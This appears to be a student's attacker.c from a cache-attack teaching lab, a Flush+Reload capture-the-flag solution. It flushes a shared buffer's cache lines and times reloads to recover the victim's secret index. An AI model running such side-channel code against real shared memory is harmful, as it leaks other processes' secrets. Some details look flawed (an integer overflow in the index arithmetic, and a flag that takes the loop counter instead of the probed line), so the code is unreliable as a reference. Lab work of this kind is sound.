SHD-CacheAttackLab/Part2-FlushReload/attacker.c

35 lines
843 B
C
Raw Normal View History

2024-02-07 14:23:56 +00:00
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include "util.h"
2024-11-04 11:29:19 +00:00
#define CACHE_HIT_THRESHOLD 200
#define WAIT_TIME 100
2024-02-07 14:23:56 +00:00
int main() {
int flag = -1;
// buf is shared between the attacker and the victim
char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here
2024-11-04 11:29:19 +00:00
for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128);
}
for(int i = 0; i < WAIT_TIME; i++);
for(int i = 0; i < 1024; i++) {
CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
if(time < CACHE_HIT_THRESHOLD) {
flag = i;
break;
}
}
2024-02-07 14:23:56 +00:00
printf("Flag: %d\n", flag);
deallocate_shared_buffer(buf);
return 0;
}